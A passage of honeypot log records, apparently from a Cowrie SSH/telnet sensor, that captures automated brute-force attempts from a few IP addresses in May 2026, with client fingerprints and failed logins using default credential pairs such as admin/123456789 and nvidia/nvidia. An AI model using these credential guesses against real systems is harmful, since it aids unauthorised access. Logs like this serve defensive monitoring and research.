istp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:00.812981Z","src_ip":"176.65.132.254","session":"d2cbd79d51f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:01.059660Z","src_ip":"176.65.132.254","session":"d2cbd79d51f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:02.150649Z","src_ip":"176.65.132.254","session":"d2cbd79d51f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00335121154785,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:04.252817Z","src_ip":"38.54.119.93","session":"628b6ca1e3b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43930,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d397ade707","protocol":"ssh","message":"New connection: 176.65.132.254:43930 (10.17.0.5:22) [session: 75d397ade707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:04.876912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:05.038173Z","src_ip":"176.65.132.254","session":"75d397ade707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:05.042530Z","src_ip":"176.65.132.254","session":"75d397ade707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:05.550408Z","src_ip":"176.65.132.254","session":"75d397ade707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60940,"dst_ip":"159.203.135.109","dst_port":23,"session":"d506a713fad3","protocol":"telnet","message":"New connection: 134.209.8.29:60940 (159.203.135.109:23) [session: d506a713fad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:06.185561Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:06.942182Z","src_ip":"176.65.132.254","session":"75d397ade707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43940,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ad5bf5b8da","protocol":"ssh","message":"New connection: 176.65.132.254:43940 (10.17.0.5:22) [session: 42ad5bf5b8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:09.554160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:09.559629Z","src_ip":"176.65.132.254","session":"42ad5bf5b8da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:09.643016Z","src_ip":"176.65.132.254","session":"42ad5bf5b8da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:09.901045Z","src_ip":"176.65.132.254","session":"42ad5bf5b8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:10.986495Z","src_ip":"176.65.132.254","session":"42ad5bf5b8da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42486,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ace5ffc2c2d","protocol":"telnet","message":"New connection: 38.54.119.93:42486 (10.17.0.5:23) [session: 6ace5ffc2c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:11.887984Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48528,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f49076f24c","protocol":"ssh","message":"New connection: 176.65.132.254:48528 (10.17.0.5:22) [session: 67f49076f24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:13.693704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:13.699780Z","src_ip":"176.65.132.254","session":"67f49076f24c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:13.784038Z","src_ip":"176.65.132.254","session":"67f49076f24c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:14.046623Z","src_ip":"176.65.132.254","session":"67f49076f24c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:15.143019Z","src_ip":"176.65.132.254","session":"67f49076f24c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48538,"dst_ip":"10.17.0.5","dst_port":22,"session":"761842f1a30e","protocol":"ssh","message":"New connection: 176.65.132.254:48538 (10.17.0.5:22) [session: 761842f1a30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:17.892054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:17.896755Z","src_ip":"176.65.132.254","session":"761842f1a30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:17.982450Z","src_ip":"176.65.132.254","session":"761842f1a30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:18.245773Z","src_ip":"176.65.132.254","session":"761842f1a30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:19.445526Z","src_ip":"176.65.132.254","session":"761842f1a30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40566,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4312229fe39","protocol":"ssh","message":"New connection: 176.65.132.254:40566 (10.17.0.5:22) [session: b4312229fe39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:22.118201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:22.123330Z","src_ip":"176.65.132.254","session":"b4312229fe39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:22.207012Z","src_ip":"176.65.132.254","session":"b4312229fe39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:22.453816Z","src_ip":"176.65.132.254","session":"b4312229fe39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:23.751024Z","src_ip":"176.65.132.254","session":"b4312229fe39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44238,"dst_ip":"159.203.135.109","dst_port":23,"session":"206c51c450df","protocol":"telnet","message":"New connection: 134.209.8.29:44238 (159.203.135.109:23) [session: 206c51c450df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:24.936893Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40586,"dst_ip":"10.17.0.5","dst_port":22,"session":"34f48c96d7b6","protocol":"ssh","message":"New connection: 176.65.132.254:40586 (10.17.0.5:22) [session: 34f48c96d7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:26.038482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:26.047314Z","src_ip":"176.65.132.254","session":"34f48c96d7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:26.304391Z","src_ip":"176.65.132.254","session":"34f48c96d7b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:26.640103Z","src_ip":"176.65.132.254","session":"34f48c96d7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:27.746350Z","src_ip":"176.65.132.254","session":"34f48c96d7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"c496a591aeef","protocol":"telnet","message":"New connection: 134.209.8.29:44250 (159.203.135.109:23) [session: c496a591aeef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:28.968723Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40610,"dst_ip":"10.17.0.5","dst_port":22,"session":"f52116a30e56","protocol":"ssh","message":"New connection: 176.65.132.254:40610 (10.17.0.5:22) [session: f52116a30e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:30.137572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:30.143594Z","src_ip":"176.65.132.254","session":"f52116a30e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:30.240431Z","src_ip":"176.65.132.254","session":"f52116a30e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00139045715332,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:30.289429Z","src_ip":"38.54.119.93","session":"65017353b2f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:30.553459Z","src_ip":"176.65.132.254","session":"f52116a30e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:31.638485Z","src_ip":"176.65.132.254","session":"f52116a30e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":62380,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c713fe110e1","protocol":"ssh","message":"New connection: 205.254.166.101:62380 (159.203.135.109:22) [session: 0c713fe110e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:33.177844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:44:33.183456Z","src_ip":"205.254.166.101","session":"0c713fe110e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ec